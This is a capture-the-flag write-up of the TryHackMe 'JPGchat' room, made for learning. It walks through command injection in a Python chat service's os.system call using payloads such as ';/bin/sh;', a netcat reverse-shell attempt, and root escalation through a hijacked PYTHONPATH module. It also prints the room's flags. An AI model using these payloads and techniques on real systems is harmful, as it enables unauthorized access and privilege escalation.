

A report on CTF:JPGchat TryHackMe

This was a fun CTF and I learned a lot.

A simple Nmap scan showed a ssh connection and a mysterious ppp? service in port 3000.

```
kali@kali: ~/Desktop
Session Actions Edit View Help
kali@kali: ~/Desktop x kali@kali: ~/Desktop x
$ nmap -O -Pn -sV -T4 10.49.133.229
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 04:00 EST
Nmap scan report for 10.49.133.229
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
3000/tcp  open  ppp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following
SF-Port3000-TCP:V=7.95%I=7%D=12/3%Time=692FFC1C%P=x86_64-pc-linux-gnu%r(NU
SF:LL,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20this\x20
SF:service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\nMESSAG
SF:E\x20USAGE:\x20use\x20[MESSAGE]\x20to\x20message\x20the\x20(currentl
SF:y)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20[REPORT]\x20to\x20
SF:report\x20someone\x20to\x20the\x20admins\x20(with\x20proof)\n")%r(Gen
SF:ericLines,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20t
SF:his\x20service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\
SF:nMESSAGE\x20USAGE:\x20use\x20[MESSAGE]\x20to\x20message\x20the\x20(c
SF:urrently)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20[REPORT]\x2
SF:0to\x20report\x20someone\x20to\x20the\x20admins\x20(with\x20proof)\n"
SF:);
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.4
OS details: Linux 4.4
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.08 seconds

(kali@kali)-[~/Desktop]
```

Connecting to the port 3000 using nc showed a chatbox with two options:

```
(kali@kali)-[~/Desktop]
$ nc 10.49.133.229 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[REPORT]
this report will be read by Mozzie-jpg
your name:
admin
your report:
hey
```

The [MESSAGE] option didnt do much, It showed nothing important , but the [REPORT] option gave the name of the admin: Mozzie-jpg.

A simple google search with site:github.com

Provided me with a github repo which had the source code of the program

```
Code Blame 31 lines (23 loc) · 892 Bytes

1  #!/usr/bin/env python3
2
3  import os
4
5  print ('Welcome to JPChat')
6  print ('the source code of this service can be found at our admin\'s github')
7
8  def report_form():
9
10     print ('this report will be read by Mozzie-jpg')
11     your_name = input('your name:\n')
12     report_text = input('your report:\n')
13     os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
14     os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)
15
16  def chatting_service():
17
18     print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')
19     print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')
20     message = input('')
21
22     if message == '[REPORT]':
23         report_form()
24     if message == '[MESSAGE]':
25         print ('There are currently 0 other users logged in')
26         while True:
27             message2 = input('[MESSAGE]: ')
28             if message2 == '[REPORT]':
29                 report_form()
30
31     chatting_service()
```

This showed a clear area to exploit with RCE.

```
os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
```

Takes your\_name variable and puts its after echo to execute.

I tried using netcat to perform a reverse shell.

“&& nc <ip> <port> && abc” which makes

```
os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
```

```
-> bash -c 'echo && nc <ip> <port> && abc > /opt/jpchat/logs/report.txt'
```

This worked fine but

“&& nc <ip> <port> -e /bin/sh && abc” didnt work at all.

The problem was probably this version of nc didnt support -e command.

After some tinkering.

A simple:

```
';/bin/sh;'
```

```
bash -c 'echo ';/bin/sh;' > /opt/jpchat/logs/report.txt'
```

did the trick without a need for any reverse shell.

```
os
os uid=1001(wes) gid=1001(wes) groups=1001(wes)

ti (kali@kali)-[~/Desktop]
$ nc 10.49.133.229 3000
Welcome to JPChat
pr the source code of this service can be found at our admin's github
pr MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
me REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[REPORT]
if this report will be read by Mozzie-jpg
your name:
if ';/bin/sh;/'
your report:
';/bin/sh;'

whoami
wes
ls
bin
```

After this I went to the wes home directory where I found the user flag.

```
cd /home/wes
ls
user.txt
cat user.txt
JPC{487030410a543503cbb59ece16178318}
sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
    mail_badpass, env_keep+=PYTHONPATH

User wes may run the following commands on ubuntu-xenial:
    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py
    ./test_module.py

cat test_module.py
cat /opt/development/test_module.py
#!/usr/bin/env python3
```

On checking the sudo list for wes using...sudo -l it showed that the test\_module.py a python file could be executed as superuser with requiring a password.

On further note: The python file only has read and execute permissions.

After checking out the file, it showed that the file was importing Compare module.

So if i created a compare.py it could be imported by test\_module and would get executed.

There wasn't a way for me to create the file in the directory of test\_module.py so I created it in /tmp and made the PYTHONPATH which has precedence over standard library. Making sure the compare.py in PYTHONPATH be executed.

```

/0
re lscompare.py" E212: Can't open file for writing
os test_module.py type command to continue:q!
os
sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
    mail_badpass, env_keep+=PYTHONPATH

User wes may run the following commands on ubuntu-xenial:
    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py
ne cd /tmp
    export PYTHONPATH=$PWD
    touch compare.py
    chmod +x compare.py
    vim compare.py
if Vim: Warning: Output is not to a terminal
if Vim: Warning: Input is not from a terminal
    i
    :q!
~
```

This changed the PYTHONPATH to /tmp.. Which would make the test\_module look for its modules in /tmp first..

Then i created a compare.py using vim and saved the file with code:

```
#!/usr/bin/env python3

import os

os.system("/bin/bash")
```

This will execute a shell and if did with sudo would provide me with the shell of a root user.

[illegible]

Then I run the test\_module.py and the privilege escalation was a success.

After which root.txt was right there in /root

```
~
"compare.py" 5L, 58C written
ls
compare.py
cat compare.py

#!/usr/bin/env python3
import os

os.system("/bin/bash")
sudo python3 /opt/development/test_module.py
ls
compare.py
__pycache__
whoami
root
/root
/bin/bash: line 3: /root: Is a directory
cd /root
ls
root.txt
cat root.txt
JPC{665b7f2e59cf44763e5a7f070b081b0a}
```

Also huge shoutout to Westar for the OSINT idea  
i wouldn't have used it if it wasnt for him.  
and also thank you to Wes and Optional for all the help while developing

You can find some of their work here:  
<https://github.com/WesVleuten>  
<https://github.com/optionalCTF>